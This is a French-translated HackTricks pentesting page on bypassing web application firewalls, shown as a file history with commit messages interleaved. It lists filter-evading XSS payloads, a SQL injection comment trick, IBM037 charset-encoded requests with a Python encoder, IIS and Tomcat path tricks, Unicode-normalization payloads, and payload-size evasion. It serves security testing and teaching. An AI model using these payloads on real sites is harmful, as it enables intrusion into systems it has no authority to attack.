Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-13 14:53:03 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

94 lines
6.4 KiB
Markdown
Raw Normal View History

Translated to French
2023-06-03 13:10:46 +00:00
# Contournement de WAF
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
Translated to French
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
</details>
Translated to French
2023-06-03 13:10:46 +00:00
## Contournement de Regex
Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les différents contournements peuvent être trouvées sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été tirés de [cet article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
```bash
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
Translated to French
2023-06-03 13:10:46 +00:00
## Encodage de jeu de caractères
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
Syntax misatake
2022-11-28 12:31:33 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
## Obfuscation
Translated to French
2023-06-03 13:10:46 +00:00
### Description
L'obfuscation est une technique qui consiste à rendre le code source illisible ou difficile à comprendre pour les humains, tout en conservant sa fonctionnalité pour les machines. Cette technique est souvent utilisée pour masquer des informations sensibles ou pour contourner les mécanismes de sécurité.
### Techniques d'obfuscation
Il existe plusieurs techniques d'obfuscation, notamment :
- Renommage des variables et des fonctions pour leur donner des noms aléatoires ou sans signification.
- Utilisation de caractères spéciaux ou d'espaces pour rendre le code plus difficile à lire.
- Ajout de code inutile ou de fausses instructions pour tromper les analystes.
- Compression du code pour réduire sa taille et le rendre plus difficile à comprendre.
### Contournement des WAF
L'obfuscation peut être utilisée pour contourner les WAF en masquant les attaques ou en rendant le code malveillant plus difficile à détecter. Les techniques d'obfuscation peuvent être utilisées pour masquer les chaînes de caractères malveillantes, les noms de fichiers ou les adresses IP. Cependant, il est important de noter que les WAF modernes sont souvent capables de détecter les tentatives d'obfuscation et peuvent être configurés pour les bloquer.
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
Translated to French
2023-06-03 13:10:46 +00:00
## Compatibilité Unicode
Selon la mise en œuvre de la normalisation Unicode (plus d'informations [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent contourner le WAF et s'exécuter en tant que charge utile prévue. Les caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode)
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
Translated to French
2023-06-03 13:10:46 +00:00
### Exemple
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
```
Translated to French
2023-06-03 13:10:46 +00:00
## Dépassement des limites de taille
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
Translated to French
2023-06-03 13:10:46 +00:00
Il est courant dans les WAF basés sur le cloud que si la charge utile est supérieure à une taille X, la demande ne sera pas vérifiée par le WAF. Vous pouvez simplement l'utiliser pour les contourner.
Reference in a new issue Copy permalink